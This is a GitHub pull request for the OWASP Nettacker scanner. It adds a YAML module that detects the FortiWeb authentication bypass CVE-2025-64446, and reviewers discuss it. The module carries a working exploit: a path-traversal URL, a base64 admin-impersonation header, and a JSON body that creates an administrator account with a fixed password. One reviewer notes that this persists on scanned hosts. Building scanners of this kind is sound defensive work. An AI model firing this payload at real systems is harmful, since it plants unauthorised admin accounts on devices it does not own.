Add FortiWeb Authentication Bypass Detection for CVE-2025-64446 #1240
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,97 @@ | ||
| info: | ||
| name: fortiweb_auth_bypass_cve_2025_64446_vuln | ||
| author: OWASP Nettacker Team | ||
| severity: 9.8 | ||
| description: | | ||
| Fortinet FortiWeb versions prior to fixed releases are vulnerable to an | ||
| authentication bypass via relative path traversal, allowing unauthenticated | ||
| attackers to create administrative users through crafted API requests. | ||
| reference: | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2025-64446 | ||
| - https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass | ||
| - https://github.com/rapid7/metasploit-framework/pull/20698 | ||
| profiles: | ||
| - vuln | ||
| - http | ||
| - critical_severity | ||
| - cve | ||
| - cve2025 | ||
| - fortiweb | ||
| - auth_bypass | ||
| - kev | ||
|
There was a problem hiding this comment.
Users selecting Useful? React with 👍 / 👎. |
||
|
|
||
| payloads: | ||
| - library: http | ||
| steps: | ||
| - method: post | ||
| timeout: 5 | ||
| headers: | ||
| Content-Type: "application/json" | ||
| CGIINFO: "eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==" | ||
| data: | | ||
| { | ||
| "data": { | ||
| "q_type": 1, | ||
| "name": "nettacker_admin", | ||
| "access-profile": "prof_admin", | ||
|
coderabbitai[bot] marked this conversation as resolved.
|
||
| "access-profile_val": "0", | ||
| "last-name": "", | ||
| "first-name": "", | ||
| "email-address": "", | ||
| "phone-number": "", | ||
| "mobile-number": "", | ||
| "hidden": 0, | ||
| "comments": "", | ||
| "sz_dashboard": -1, | ||
| "type": "local-user", | ||
| "type_val": "0", | ||
| "admin-usergrp_val": "0", | ||
| "wildcard_val": "0", | ||
| "accprofile-override_val": "0", | ||
| "sshkey": "", | ||
| "trusthostv4": "127.0.0.1/8", | ||
| "trusthostv6": "::1/128", | ||
| "passwd-set-time": 0, | ||
| "history-password-pos": 0, | ||
| "history-password0": "", | ||
| "history-password1": "", | ||
| "history-password2": "", | ||
| "history-password3": "", | ||
| "history-password4": "", | ||
| "history-password5": "", | ||
| "history-password6": "", | ||
| "history-password7": "", | ||
| "history-password8": "", | ||
| "history-password9": "", | ||
| "force-password-change": "disable", | ||
| "force-password-change_val": "0", | ||
| "password": "nettacker_pass123" | ||
| } | ||
|
coderabbitai[bot] marked this conversation as resolved.
Outdated
|
||
| } | ||
|
coderabbitai[bot] marked this conversation as resolved.
Outdated
|
||
| allow_redirects: false | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}{{paths}}" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
|
Aarush289 marked this conversation as resolved.
|
||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 80 | ||
| - 443 | ||
| paths: | ||
| - "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi" | ||
|
coderabbitai[bot] marked this conversation as resolved.
There was a problem hiding this comment.
This literal path is normalized before transmission because Useful? React with 👍 / 👎. |
||
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: "(?s)(\"results\":).*?(\"can_clone\":)" | ||
| reverse: false | ||
|
|
||
|
coderabbitai[bot] marked this conversation as resolved.
|
||
|
Collaborator
There was a problem hiding this comment. @Aarush289 out of scope change will not be accepted. Please keep your PRs atomic and focused on solving one thing only at a time
Contributor
Author
There was a problem hiding this comment. @securestep9 , I will create a separate PR for the bug fix , but please let me know if any other changes are needed or specifically about the exposure of scan id to the modules because that is needed for this module or if you have any other suggestions regarding generation of a random id for modules ! |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -45,7 +45,7 @@ payloads: | |
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: 200 | ||
| reverse: false | ||
| headers: | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When a user runs the broad
--profile vulnscan, the exact profile-tag expansion inArgParsersilently includes this module, but normal scan startup does not display the warning in its description or request confirmation. A successful probe therefore creates a persistent administrator with a fixed password during what appears to be a routine vulnerability scan and provides no cleanup step; gate this state-changing payload behind explicit opt-in or confirmation rather than enrolling it directly in the general profile.Useful? React with 👍 / 👎.